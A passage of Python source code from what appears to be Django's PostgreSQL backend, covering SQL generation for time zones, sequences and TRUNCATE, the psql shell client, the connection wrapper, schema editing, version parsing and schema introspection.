            field_name = "%s AT TIME ZONE %%s" % field_name
            params = [tzname]
        else:
            params = []
        return field_name, params

    def datetime_cast_date_sql(self, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        sql = '(%s)::date' % field_name
        return sql, params

    def datetime_cast_time_sql(self, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        sql = '(%s)::time' % field_name
        return sql, params

    def datetime_extract_sql(self, lookup_type, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        sql = self.date_extract_sql(lookup_type, field_name)
        return sql, params

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        # http://www.postgresql.org/docs/current/static/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
        sql = "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)
        return sql, params

    def time_trunc_sql(self, lookup_type, field_name):
        return "DATE_TRUNC('%s', %s)::time" % (lookup_type, field_name)

    def deferrable_sql(self):
        return " DEFERRABLE INITIALLY DEFERRED"

    def fetch_returned_insert_ids(self, cursor):
        """
        Given a cursor object that has just performed an INSERT...RETURNING
        statement into a table that has an auto-incrementing ID, return the
        list of newly created IDs.
        """
        return [item[0] for item in cursor.fetchall()]

    def lookup_cast(self, lookup_type, internal_type=None):
        lookup = '%s'

        # Cast text lookups to text to allow things like filter(x__contains=4)
        if lookup_type in ('iexact', 'contains', 'icontains', 'startswith',
                           'istartswith', 'endswith', 'iendswith', 'regex', 'iregex'):
            if internal_type in ('IPAddressField', 'GenericIPAddressField'):
                lookup = "HOST(%s)"
            else:
                lookup = "%s::text"

        # Use UPPER(x) for case-insensitive lookups; it's faster.
        if lookup_type in ('iexact', 'icontains', 'istartswith', 'iendswith'):
            lookup = 'UPPER(%s)' % lookup

        return lookup

    def last_insert_id(self, cursor, table_name, pk_name):
        # Use pg_get_serial_sequence to get the underlying sequence name
        # from the table name and column name (available since PostgreSQL 8)
        cursor.execute("SELECT CURRVAL(pg_get_serial_sequence('%s','%s'))" % (
            self.quote_name(table_name), pk_name))
        return cursor.fetchone()[0]

    def no_limit_value(self):
        return None

    def prepare_sql_script(self, sql):
        return [sql]

    def quote_name(self, name):
        if name.startswith('"') and name.endswith('"'):
            return name  # Quoting once is enough.
        return '"%s"' % name

    def set_time_zone_sql(self):
        return "SET TIME ZONE %s"

    def sql_flush(self, style, tables, sequences, allow_cascade=False):
        if tables:
            # Perform a single SQL 'TRUNCATE x, y, z...;' statement.  It allows
            # us to truncate tables referenced by a foreign key in any other
            # table.
            tables_sql = ', '.join(
                style.SQL_FIELD(self.quote_name(table)) for table in tables)
            if allow_cascade:
                sql = ['%s %s %s;' % (
                    style.SQL_KEYWORD('TRUNCATE'),
                    tables_sql,
                    style.SQL_KEYWORD('CASCADE'),
                )]
            else:
                sql = ['%s %s;' % (
                    style.SQL_KEYWORD('TRUNCATE'),
                    tables_sql,
                )]
            sql.extend(self.sequence_reset_by_name_sql(style, sequences))
            return sql
        else:
            return []

    def sequence_reset_by_name_sql(self, style, sequences):
        # 'ALTER SEQUENCE sequence_name RESTART WITH 1;'... style SQL statements
        # to reset sequence indices
        sql = []
        for sequence_info in sequences:
            table_name = sequence_info['table']
            column_name = sequence_info['column']
            if not (column_name and len(column_name) > 0):
                # This will be the case if it's an m2m using an autogenerated
                # intermediate table (see BaseDatabaseIntrospection.sequence_list)
                column_name = 'id'
            sql.append("%s setval(pg_get_serial_sequence('%s','%s'), 1, false);" % (
                style.SQL_KEYWORD('SELECT'),
                style.SQL_TABLE(self.quote_name(table_name)),
                style.SQL_FIELD(column_name),
            ))
        return sql

    def tablespace_sql(self, tablespace, inline=False):
        if inline:
            return "USING INDEX TABLESPACE %s" % self.quote_name(tablespace)
        else:
            return "TABLESPACE %s" % self.quote_name(tablespace)

    def sequence_reset_sql(self, style, model_list):
        from django.db import models
        output = []
        qn = self.quote_name
        for model in model_list:
            # Use `coalesce` to set the sequence for each model to the max pk value if there are records,
            # or 1 if there are none. Set the `is_called` property (the third argument to `setval`) to true
            # if there are records (as the max pk value is already in use), otherwise set it to false.
            # Use pg_get_serial_sequence to get the underlying sequence name from the table name
            # and column name (available since PostgreSQL 8)

            for f in model._meta.local_fields:
                if isinstance(f, models.AutoField):
                    output.append(
                        "%s setval(pg_get_serial_sequence('%s','%s'), "
                        "coalesce(max(%s), 1), max(%s) %s null) %s %s;" % (
                            style.SQL_KEYWORD('SELECT'),
                            style.SQL_TABLE(qn(model._meta.db_table)),
                            style.SQL_FIELD(f.column),
                            style.SQL_FIELD(qn(f.column)),
                            style.SQL_FIELD(qn(f.column)),
                            style.SQL_KEYWORD('IS NOT'),
                            style.SQL_KEYWORD('FROM'),
                            style.SQL_TABLE(qn(model._meta.db_table)),
                        )
                    )
                    break  # Only one AutoField is allowed per model, so don't bother continuing.
            for f in model._meta.many_to_many:
                if not f.remote_field.through:
                    output.append(
                        "%s setval(pg_get_serial_sequence('%s','%s'), "
                        "coalesce(max(%s), 1), max(%s) %s null) %s %s;" % (
                            style.SQL_KEYWORD('SELECT'),
                            style.SQL_TABLE(qn(f.m2m_db_table())),
                            style.SQL_FIELD('id'),
                            style.SQL_FIELD(qn('id')),
                            style.SQL_FIELD(qn('id')),
                            style.SQL_KEYWORD('IS NOT'),
                            style.SQL_KEYWORD('FROM'),
                            style.SQL_TABLE(qn(f.m2m_db_table()))
                        )
                    )
        return output

    def prep_for_iexact_query(self, x):
        return x

    def max_name_length(self):
        """
        Returns the maximum length of an identifier.

        Note that the maximum length of an identifier is 63 by default, but can
        be changed by recompiling PostgreSQL after editing the NAMEDATALEN
        macro in src/include/pg_config_manual.h .

        This implementation simply returns 63, but can easily be overridden by a
        custom database backend that inherits most of its behavior from this one.
        """

        return 63

    def distinct_sql(self, fields):
        if fields:
            return 'DISTINCT ON (%s)' % ', '.join(fields)
        else:
            return 'DISTINCT'

    def last_executed_query(self, cursor, sql, params):
        # http://initd.org/psycopg/docs/cursor.html#cursor.query
        # The query attribute is a Psycopg extension to the DB API 2.0.
        if cursor.query is not None:
            return cursor.query.decode('utf-8')
        return None

    def return_insert_id(self):
        return "RETURNING %s", ()

    def bulk_insert_sql(self, fields, placeholder_rows):
        placeholder_rows_sql = (", ".join(row) for row in placeholder_rows)
        values_sql = ", ".join("(%s)" % sql for sql in placeholder_rows_sql)
        return "VALUES " + values_sql

    def adapt_datefield_value(self, value):
        return value

    def adapt_datetimefield_value(self, value):
        return value

    def adapt_timefield_value(self, value):
        return value

    def adapt_ipaddressfield_value(self, value):
        if value:
            return Inet(value)
        return None

    def subtract_temporals(self, internal_type, lhs, rhs):
        if internal_type == 'DateField':
            lhs_sql, lhs_params = lhs
            rhs_sql, rhs_params = rhs
            return "age(%s, %s)" % (lhs_sql, rhs_sql), lhs_params + rhs_params
        return super(DatabaseOperations, self).subtract_temporals(internal_type, lhs, rhs)

    def fulltext_search_sql(self, field_name):
        raise NotImplementedError(
            "Add 'django.contrib.postgres' to settings.INSTALLED_APPS to use "
            "the search operator."
        )






import os
import subprocess

from django.core.files.temp import NamedTemporaryFile
from django.db.backends.base.client import BaseDatabaseClient
from django.utils.six import print_


def _escape_pgpass(txt):
    """
    Escape a fragment of a PostgreSQL .pgpass file.
    """
    return txt.replace('\\', '\\\\').replace(':', '\\:')


class DatabaseClient(BaseDatabaseClient):
    executable_name = 'psql'

    @classmethod
    def runshell_db(cls, conn_params):
        args = [cls.executable_name]

        host = conn_params.get('host', '')
        port = conn_params.get('port', '')
        dbname = conn_params.get('database', '')
        user = conn_params.get('user', '')
        passwd = conn_params.get('password', '')

        if user:
            args += ['-U', user]
        if host:
            args += ['-h', host]
        if port:
            args += ['-p', str(port)]
        args += [dbname]

        temp_pgpass = None
        try:
            if passwd:
                # Create temporary .pgpass file.
                temp_pgpass = NamedTemporaryFile(mode='w+')
                try:
                    print_(
                        _escape_pgpass(host) or '*',
                        str(port) or '*',
                        _escape_pgpass(dbname) or '*',
                        _escape_pgpass(user) or '*',
                        _escape_pgpass(passwd),
                        file=temp_pgpass,
                        sep=':',
                        flush=True,
                    )
                    os.environ['PGPASSFILE'] = temp_pgpass.name
                except UnicodeEncodeError:
                    # If the current locale can't encode the data, we let
                    # the user input the password manually.
                    pass
            subprocess.check_call(args)
        finally:
            if temp_pgpass:
                temp_pgpass.close()
                if 'PGPASSFILE' in os.environ:  # unit tests need cleanup
                    del os.environ['PGPASSFILE']

    def runshell(self):
        DatabaseClient.runshell_db(self.connection.get_connection_params())






"""
PostgreSQL database backend for Django.

Requires psycopg 2: http://initd.org/projects/psycopg2
"""

import warnings

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db import DEFAULT_DB_ALIAS
from django.db.backends.base.base import BaseDatabaseWrapper
from django.db.backends.base.validation import BaseDatabaseValidation
from django.db.utils import DatabaseError as WrappedDatabaseError
from django.utils import six
from django.utils.encoding import force_str
from django.utils.functional import cached_property
from django.utils.safestring import SafeBytes, SafeText

try:
    import psycopg2 as Database
    import psycopg2.extensions
    import psycopg2.extras
except ImportError as e:
    raise ImproperlyConfigured("Error loading psycopg2 module: %s" % e)


def psycopg2_version():
    version = psycopg2.__version__.split(' ', 1)[0]
    return tuple(int(v) for v in version.split('.') if v.isdigit())

PSYCOPG2_VERSION = psycopg2_version()

if PSYCOPG2_VERSION < (2, 4, 5):
    raise ImproperlyConfigured("psycopg2_version 2.4.5 or newer is required; you have %s" % psycopg2.__version__)


# Some of these import psycopg2, so import them after checking if it's installed.
from .client import DatabaseClient                          # NOQA isort:skip
from .creation import DatabaseCreation                      # NOQA isort:skip
from .features import DatabaseFeatures                      # NOQA isort:skip
from .introspection import DatabaseIntrospection            # NOQA isort:skip
from .operations import DatabaseOperations                  # NOQA isort:skip
from .schema import DatabaseSchemaEditor                    # NOQA isort:skip
from .utils import utc_tzinfo_factory                       # NOQA isort:skip
from .version import get_version                            # NOQA isort:skip

DatabaseError = Database.DatabaseError
IntegrityError = Database.IntegrityError

if six.PY2:
    psycopg2.extensions.register_type(psycopg2.extensions.UNICODE)
    psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY)
psycopg2.extensions.register_adapter(SafeBytes, psycopg2.extensions.QuotedString)
psycopg2.extensions.register_adapter(SafeText, psycopg2.extensions.QuotedString)
psycopg2.extras.register_uuid()

# Register support for inet[] manually so we don't have to handle the Inet()
# object on load all the time.
INETARRAY_OID = 1041
INETARRAY = psycopg2.extensions.new_array_type(
    (INETARRAY_OID,),
    'INETARRAY',
    psycopg2.extensions.UNICODE,
)
psycopg2.extensions.register_type(INETARRAY)


class DatabaseWrapper(BaseDatabaseWrapper):
    vendor = 'postgresql'
    # This dictionary maps Field objects to their associated PostgreSQL column
    # types, as strings. Column-type strings can contain format strings; they'll
    # be interpolated against the values of Field.__dict__ before being output.
    # If a column type is set to None, it won't be included in the output.
    data_types = {
        'AutoField': 'serial',
        'BigAutoField': 'bigserial',
        'BinaryField': 'bytea',
        'BooleanField': 'boolean',
        'CharField': 'varchar(%(max_length)s)',
        'CommaSeparatedIntegerField': 'varchar(%(max_length)s)',
        'DateField': 'date',
        'DateTimeField': 'timestamp with time zone',
        'DecimalField': 'numeric(%(max_digits)s, %(decimal_places)s)',
        'DurationField': 'interval',
        'FileField': 'varchar(%(max_length)s)',
        'FilePathField': 'varchar(%(max_length)s)',
        'FloatField': 'double precision',
        'IntegerField': 'integer',
        'BigIntegerField': 'bigint',
        'IPAddressField': 'inet',
        'GenericIPAddressField': 'inet',
        'NullBooleanField': 'boolean',
        'OneToOneField': 'integer',
        'PositiveIntegerField': 'integer',
        'PositiveSmallIntegerField': 'smallint',
        'SlugField': 'varchar(%(max_length)s)',
        'SmallIntegerField': 'smallint',
        'TextField': 'text',
        'TimeField': 'time',
        'UUIDField': 'uuid',
    }
    data_type_check_constraints = {
        'PositiveIntegerField': '"%(column)s" >= 0',
        'PositiveSmallIntegerField': '"%(column)s" >= 0',
    }
    operators = {
        'exact': '= %s',
        'iexact': '= UPPER(%s)',
        'contains': 'LIKE %s',
        'icontains': 'LIKE UPPER(%s)',
        'regex': '~ %s',
        'iregex': '~* %s',
        'gt': '> %s',
        'gte': '>= %s',
        'lt': '< %s',
        'lte': '<= %s',
        'startswith': 'LIKE %s',
        'endswith': 'LIKE %s',
        'istartswith': 'LIKE UPPER(%s)',
        'iendswith': 'LIKE UPPER(%s)',
    }

    # The patterns below are used to generate SQL pattern lookup clauses when
    # the right-hand side of the lookup isn't a raw string (it might be an expression
    # or the result of a bilateral transformation).
    # In those cases, special characters for LIKE operators (e.g. \, *, _) should be
    # escaped on database side.
    #
    # Note: we use str.format() here for readability as '%' is used as a wildcard for
    # the LIKE operator.
    pattern_esc = r"REPLACE(REPLACE(REPLACE({}, '\', '\\'), '%%', '\%%'), '_', '\_')"
    pattern_ops = {
        'contains': "LIKE '%%' || {} || '%%'",
        'icontains': "LIKE '%%' || UPPER({}) || '%%'",
        'startswith': "LIKE {} || '%%'",
        'istartswith': "LIKE UPPER({}) || '%%'",
        'endswith': "LIKE '%%' || {}",
        'iendswith': "LIKE '%%' || UPPER({})",
    }

    Database = Database
    SchemaEditorClass = DatabaseSchemaEditor

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)

        self.features = DatabaseFeatures(self)
        self.ops = DatabaseOperations(self)
        self.client = DatabaseClient(self)
        self.creation = DatabaseCreation(self)
        self.introspection = DatabaseIntrospection(self)
        self.validation = BaseDatabaseValidation(self)

    def get_connection_params(self):
        settings_dict = self.settings_dict
        # None may be used to connect to the default 'postgres' db
        if settings_dict['NAME'] == '':
            raise ImproperlyConfigured(
                "settings.DATABASES is improperly configured. "
                "Please supply the NAME value.")
        conn_params = {
            'database': settings_dict['NAME'] or 'postgres',
        }
        conn_params.update(settings_dict['OPTIONS'])
        conn_params.pop('isolation_level', None)
        if settings_dict['USER']:
            conn_params['user'] = settings_dict['USER']
        if settings_dict['PASSWORD']:
            conn_params['password'] = force_str(settings_dict['PASSWORD'])
        if settings_dict['HOST']:
            conn_params['host'] = settings_dict['HOST']
        if settings_dict['PORT']:
            conn_params['port'] = settings_dict['PORT']
        return conn_params

    def get_new_connection(self, conn_params):
        connection = Database.connect(**conn_params)

        # self.isolation_level must be set:
        # - after connecting to the database in order to obtain the database's
        #   default when no value is explicitly specified in options.
        # - before calling _set_autocommit() because if autocommit is on, that
        #   will set connection.isolation_level to ISOLATION_LEVEL_AUTOCOMMIT.
        options = self.settings_dict['OPTIONS']
        try:
            self.isolation_level = options['isolation_level']
        except KeyError:
            self.isolation_level = connection.isolation_level
        else:
            # Set the isolation level to the value from OPTIONS.
            if self.isolation_level != connection.isolation_level:
                connection.set_session(isolation_level=self.isolation_level)

        return connection

    def ensure_timezone(self):
        self.ensure_connection()
        conn_timezone_name = self.connection.get_parameter_status('TimeZone')
        timezone_name = self.timezone_name
        if timezone_name and conn_timezone_name != timezone_name:
            with self.connection.cursor() as cursor:
                cursor.execute(self.ops.set_time_zone_sql(), [timezone_name])
            return True
        return False

    def init_connection_state(self):
        self.connection.set_client_encoding('UTF8')

        timezone_changed = self.ensure_timezone()
        if timezone_changed:
            # Commit after setting the time zone (see #17062)
            if not self.get_autocommit():
                self.connection.commit()

    def create_cursor(self):
        cursor = self.connection.cursor()
        cursor.tzinfo_factory = utc_tzinfo_factory if settings.USE_TZ else None
        return cursor

    def _set_autocommit(self, autocommit):
        with self.wrap_database_errors:
            self.connection.autocommit = autocommit

    def check_constraints(self, table_names=None):
        """
        To check constraints, we set constraints to immediate. Then, when, we're done we must ensure they
        are returned to deferred.
        """
        self.cursor().execute('SET CONSTRAINTS ALL IMMEDIATE')
        self.cursor().execute('SET CONSTRAINTS ALL DEFERRED')

    def is_usable(self):
        try:
            # Use a psycopg cursor directly, bypassing Django's utilities.
            self.connection.cursor().execute("SELECT 1")
        except Database.Error:
            return False
        else:
            return True

    @property
    def _nodb_connection(self):
        nodb_connection = super(DatabaseWrapper, self)._nodb_connection
        try:
            nodb_connection.ensure_connection()
        except (DatabaseError, WrappedDatabaseError):
            warnings.warn(
                "Normally Django will use a connection to the 'postgres' database "
                "to avoid running initialization queries against the production "
                "database when it's not needed (for example, when running tests). "
                "Django was unable to create a connection to the 'postgres' database "
                "and will use the default database instead.",
                RuntimeWarning
            )
            settings_dict = self.settings_dict.copy()
            settings_dict['NAME'] = settings.DATABASES[DEFAULT_DB_ALIAS]['NAME']
            nodb_connection = self.__class__(
                self.settings_dict.copy(),
                alias=self.alias,
                allow_thread_sharing=False)
        return nodb_connection

    @cached_property
    def psycopg2_version(self):
        return PSYCOPG2_VERSION

    @cached_property
    def pg_version(self):
        with self.temporary_connection():
            return get_version(self.connection)






import psycopg2

from django.db.backends.base.schema import BaseDatabaseSchemaEditor


class DatabaseSchemaEditor(BaseDatabaseSchemaEditor):

    sql_alter_column_type = "ALTER COLUMN %(column)s TYPE %(type)s USING %(column)s::%(type)s"

    sql_create_sequence = "CREATE SEQUENCE %(sequence)s"
    sql_delete_sequence = "DROP SEQUENCE IF EXISTS %(sequence)s CASCADE"
    sql_set_sequence_max = "SELECT setval('%(sequence)s', MAX(%(column)s)) FROM %(table)s"

    sql_create_index = "CREATE INDEX %(name)s ON %(table)s%(using)s (%(columns)s)%(extra)s"
    sql_create_varchar_index = "CREATE INDEX %(name)s ON %(table)s (%(columns)s varchar_pattern_ops)%(extra)s"
    sql_create_text_index = "CREATE INDEX %(name)s ON %(table)s (%(columns)s text_pattern_ops)%(extra)s"

    def quote_value(self, value):
        return psycopg2.extensions.adapt(value)

    def _field_indexes_sql(self, model, field):
        output = super(DatabaseSchemaEditor, self)._field_indexes_sql(model, field)
        like_index_statement = self._create_like_index_sql(model, field)
        if like_index_statement is not None:
            output.append(like_index_statement)
        return output

    def _create_like_index_sql(self, model, field):
        """
        Return the statement to create an index with varchar operator pattern
        when the column type is 'varchar' or 'text', otherwise return None.
        """
        db_type = field.db_type(connection=self.connection)
        if db_type is not None and (field.db_index or field.unique):
            # Fields with database column types of `varchar` and `text` need
            # a second index that specifies their operator class, which is
            # needed when performing correct LIKE queries outside the
            # C locale. See #12234.
            #
            # The same doesn't apply to array fields such as varchar[size]
            # and text[size], so skip them.
            if '[' in db_type:
                return None
            if db_type.startswith('varchar'):
                return self._create_index_sql(model, [field], suffix='_like', sql=self.sql_create_varchar_index)
            elif db_type.startswith('text'):
                return self._create_index_sql(model, [field], suffix='_like', sql=self.sql_create_text_index)
        return None

    def _alter_column_type_sql(self, table, old_field, new_field, new_type):
        """
        Makes ALTER TYPE with SERIAL make sense.
        """
        if new_type.lower() in ("serial", "bigserial"):
            column = new_field.column
            sequence_name = "%s_%s_seq" % (table, column)
            col_type = "integer" if new_type.lower() == "serial" else "bigint"
            return (
                (
                    self.sql_alter_column_type % {
                        "column": self.quote_name(column),
                        "type": col_type,
                    },
                    [],
                ),
                [
                    (
                        self.sql_delete_sequence % {
                            "sequence": self.quote_name(sequence_name),
                        },
                        [],
                    ),
                    (
                        self.sql_create_sequence % {
                            "sequence": self.quote_name(sequence_name),
                        },
                        [],
                    ),
                    (
                        self.sql_alter_column % {
                            "table": self.quote_name(table),
                            "changes": self.sql_alter_column_default % {
                                "column": self.quote_name(column),
                                "default": "nextval('%s')" % self.quote_name(sequence_name),
                            }
                        },
                        [],
                    ),
                    (
                        self.sql_set_sequence_max % {
                            "table": self.quote_name(table),
                            "column": self.quote_name(column),
                            "sequence": self.quote_name(sequence_name),
                        },
                        [],
                    ),
                ],
            )
        else:
            return super(DatabaseSchemaEditor, self)._alter_column_type_sql(
                table, old_field, new_field, new_type
            )

    def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        super(DatabaseSchemaEditor, self)._alter_field(
            model, old_field, new_field, old_type, new_type, old_db_params,
            new_db_params, strict,
        )
        # Added an index? Create any PostgreSQL-specific indexes.
        if ((not (old_field.db_index or old_field.unique) and new_field.db_index) or
                (not old_field.unique and new_field.unique)):
            like_index_statement = self._create_like_index_sql(model, new_field)
            if like_index_statement is not None:
                self.execute(like_index_statement)

        # Removed an index? Drop any PostgreSQL-specific indexes.
        if old_field.unique and not (new_field.db_index or new_field.unique):
            index_to_remove = self._create_index_name(model, [old_field.column], suffix='_like')
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                if index_name == index_to_remove:
                    self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))






"""
Extracts the version of the PostgreSQL server.
"""

import re

# This reg-exp is intentionally fairly flexible here.
# Needs to be able to handle stuff like:
#   PostgreSQL #.#.#
#   EnterpriseDB #.#
#   PostgreSQL #.# beta#
#   PostgreSQL #.#beta#
VERSION_RE = re.compile(r'\S+ (\d+)\.(\d+)\.?(\d+)?')


def _parse_version(text):
    "Internal parsing method. Factored out for testing purposes."
    major, major2, minor = VERSION_RE.search(text).groups()
    try:
        return int(major) * 10000 + int(major2) * 100 + int(minor)
    except (ValueError, TypeError):
        return int(major) * 10000 + int(major2) * 100


def get_version(connection):
    """
    Returns an integer representing the major, minor and revision number of the
    server. Format is the one used for the return value of libpq
    PQServerVersion()/``server_version`` connection attribute (available in
    newer psycopg2 versions.)

    For example, 90304 for 9.3.4. The last two digits will be 00 in the case of
    releases (e.g., 90400 for 'PostgreSQL 9.4') or in the case of beta and
    prereleases (e.g. 90100 for 'PostgreSQL 9.1beta2').

    PQServerVersion()/``server_version`` doesn't execute a query so try that
    first, then fallback to a ``SELECT version()`` query.
    """
    if hasattr(connection, 'server_version'):
        return connection.server_version
    else:
        with connection.cursor() as cursor:
            cursor.execute("SELECT version()")
            return _parse_version(cursor.fetchone()[0])






from __future__ import unicode_literals

from collections import namedtuple

from django.db.backends.base.introspection import (
    BaseDatabaseIntrospection, FieldInfo, TableInfo,
)
from django.utils.encoding import force_text

FieldInfo = namedtuple('FieldInfo', FieldInfo._fields + ('default',))


class DatabaseIntrospection(BaseDatabaseIntrospection):
    # Maps type codes to Django Field types.
    data_types_reverse = {
        16: 'BooleanField',
        17: 'BinaryField',
        20: 'BigIntegerField',
        21: 'SmallIntegerField',
        23: 'IntegerField',
        25: 'TextField',
        700: 'FloatField',
        701: 'FloatField',
        869: 'GenericIPAddressField',
        1042: 'CharField',  # blank-padded
        1043: 'CharField',
        1082: 'DateField',
        1083: 'TimeField',
        1114: 'DateTimeField',
        1184: 'DateTimeField',
        1266: 'TimeField',
        1700: 'DecimalField',
        2950: 'UUIDField',
    }

    ignored_tables = []

    _get_indexes_query = """
        SELECT attr.attname, idx.indkey, idx.indisunique, idx.indisprimary,
            am.amname
        FROM pg_catalog.pg_class c, pg_catalog.pg_class c2,
            pg_catalog.pg_index idx, pg_catalog.pg_attribute attr, pg_catalog.pg_am am
        WHERE c.oid = idx.indrelid
            AND idx.indexrelid = c2.oid
            AND attr.attrelid = c.oid
            AND attr.attnum = idx.indkey[0]
            AND c2.relam = am.oid
            AND c.relname = %s"""

    def get_field_type(self, data_type, description):
        field_type = super(DatabaseIntrospection, self).get_field_type(data_type, description)
        if description.default and 'nextval' in description.default:
            if field_type == 'IntegerField':
                return 'AutoField'
            elif field_type == 'BigIntegerField':
                return 'BigAutoField'
        return field_type

    def get_table_list(self, cursor):
        """
        Returns a list of table and view names in the current database.
        """
        cursor.execute("""
            SELECT c.relname, c.relkind
            FROM pg_catalog.pg_class c
            LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
            WHERE c.relkind IN ('r', 'v')
                AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
                AND pg_catalog.pg_table_is_visible(c.oid)""")
        return [TableInfo(row[0], {'r': 't', 'v': 'v'}.get(row[1]))
                for row in cursor.fetchall()
                if row[0] not in self.ignored_tables]

    def get_table_description(self, cursor, table_name):
        "Returns a description of the table, with the DB-API cursor.description interface."
        # As cursor.description does not return reliably the nullable property,
        # we have to query the information_schema (#7783)
        cursor.execute("""
            SELECT column_name, is_nullable, column_default
            FROM information_schema.columns
            WHERE table_name = %s""", [table_name])
        field_map = {line[0]: line[1:] for line in cursor.fetchall()}
        cursor.execute("SELECT * FROM %s LIMIT 1" % self.connection.ops.quote_name(table_name))
        return [
            FieldInfo(*(
                (force_text(line[0]),) +
                line[1:6] +
                (field_map[force_text(line[0])][0] == 'YES', field_map[force_text(line[0])][1])
            )) for line in cursor.description
        ]

    def get_relations(self, cursor, table_name):
        """
        Returns a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """
        cursor.execute("""
            SELECT c2.relname, a1.attname, a2.attname
            FROM pg_constraint con
            LEFT JOIN pg_class c1 ON con.conrelid = c1.oid
            LEFT JOIN pg_class c2 ON con.confrelid = c2.oid
            LEFT JOIN pg_attribute a1 ON c1.oid = a1.attrelid AND a1.attnum = con.conkey[1]
            LEFT JOIN pg_attribute a2 ON c2.oid = a2.attrelid AND a2.attnum = con.confkey[1]
            WHERE c1.relname = %s
                AND con.contype = 'f'""", [table_name])
        relations = {}
        for row in cursor.fetchall():
            relations[row[1]] = (row[2], row[0])
        return relations

    def get_key_columns(self, cursor, table_name):
        key_columns = []
        cursor.execute("""
            SELECT kcu.column_name, ccu.table_name AS referenced_table, ccu.column_name AS referenced_column
            FROM information_schema.constraint_column_usage ccu
            LEFT JOIN information_schema.key_column_usage kcu
                ON ccu.constraint_catalog = kcu.constraint_catalog
                    AND ccu.constraint_schema = kcu.constraint_schema
                    AND ccu.constraint_name = kcu.constraint_name
            LEFT JOIN information_schema.table_constraints tc
                ON ccu.constraint_catalog = tc.constraint_catalog
                    AND ccu.constraint_schema = tc.constraint_schema
                    AND ccu.constraint_name = tc.constraint_name
            WHERE kcu.table_name = %s AND tc.constraint_type = 'FOREIGN KEY'""", [table_name])
        key_columns.extend(cursor.fetchall())
        return key_columns

    def get_indexes(self, cursor, table_name):
        # This query retrieves each index on the given table, including the
        # first associated field name
        cursor.execute(self._get_indexes_query, [table_name])
        indexes = {}
        for row in cursor.fetchall():
            # row[1] (idx.indkey) is stored in the DB as an array. It comes out as
            # a string of space-separated integers. This designates the field
            # indexes (1-based) of the fields that have indexes on the table.
            # row[4] is the type of index, e.g. btree, hash, etc.
            # Here, we skip any indexes across multiple fields.
            if ' ' in row[1]:
                continue
            if row[0] not in indexes:
                indexes[row[0]] = {'primary_key': False, 'unique': False}
            # It's possible to have the unique and PK constraints in separate indexes.
            if row[3]:
                indexes[row[0]]['primary_key'] = True
            if row[2]:
                indexes[row[0]]['unique'] = True
            indexes[row[0]]['type'] = row[4]
        return indexes

    def get_constraints(self, cursor, table_name):
        """
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """
        constraints = {}
        # Loop over the key table, collecting things as constraints
        # This will get PKs, FKs, and uniques, but not CHECK
        cursor.execute("""
            SELECT
                kc.constraint_name,
                kc.column_name,
                c.constraint_type,
                array(SELECT table_name::text || '.' || column_name::text
                      FROM information_schema.constraint_column_usage
                      WHERE constraint_name = kc.constraint_name)
            FROM information_schema.key_column_usage AS kc
            JOIN information_schema.table_constraints AS c ON
                kc.table_schema = c.table_schema AND
                kc.table_name = c.table_name AND
                kc.constraint_name = c.constraint_name
            WHERE
                kc.table_schema = %s AND
                kc.table_name = %s
            ORDER BY kc.ordinal_position ASC
        """, ["public", table_name])
        for constraint, column, kind, used_cols in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    "columns": [],
                    "primary_key": kind.lower() == "primary key",
                    "unique": kind.lower() in ["primary key", "unique"],
                    "foreign_key": tuple(used_cols[0].split(".", 1)) if kind.lower() == "foreign key" else None,
                    "check": False,
                    "index": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Now get CHECK constraint columns
        cursor.execute("""
            SELECT kc.constraint_name, kc.column_name
            FROM information_schema.constraint_column_usage AS kc
            JOIN information_schema.table_constraints AS c ON
                kc.table_schema = c.table_schema AND
                kc.table_name = c.table_name AND
                kc.constraint_name = c.constraint_name
            WHERE
                c.constraint_type = 'CHECK' AND
                kc.table_schema = %s AND
                kc.table_name = %s
        """, ["public", table_name])
        for constraint, column in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    "columns": [],
                    "primary_key": False,
                    "unique": False,
                    "foreign_key": None,
                    "check": True,
                    "index": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Now get indexes
        cursor.execute("""
            SELECT
                indexname, array_agg(attname), indisunique, indisprimary,
                array_agg(ordering)
            FROM (
                SELECT
                    c2.relname as indexname, idx.*, attr.attname,
                    CASE
                        WHEN am.amcanorder THEN
                            CASE (option & 1)
                                WHEN 1 THEN 'DESC' ELSE 'ASC'
                            END
                    END as ordering
                FROM (
                    SELECT
                        *, unnest(i.indkey) as key, unnest(i.indoption) as option
                    FROM pg_index i
                ) idx, pg_class c, pg_class c2, pg_am am, pg_attribute attr
                WHERE c.oid=idx.indrelid
                    AND idx.indexrelid=c2.oid
                    AND attr.attrelid=c.oid
                    AND attr.attnum=idx.key
                    AND c2.relam=am.oid
                    AND c.relname = %s
            ) s2
            GROUP BY indexname, indisunique, indisprimary;
        """, [table_name])
        for index, columns, unique, primary, orders in cursor.fetchall():
            if index not in constraints:
                constraints[index] = {
                    "columns": columns,
                    "orders": orders,
                    "primary_key": primary,
                    "unique": unique,
                    "foreign_key": None,
                    "check": False,
                    "index": True,
                }
        return constraints












from django.utils.timezone import utc


def utc_tzinfo_factory(offset):
    if offset != 0:
        raise AssertionError("database connection isn't set to UTC")
    return utc






import os
import shutil
import sys

from django.core.exceptions import ImproperlyConfigured
from django.db.backends.base.creation import BaseDatabaseCreation
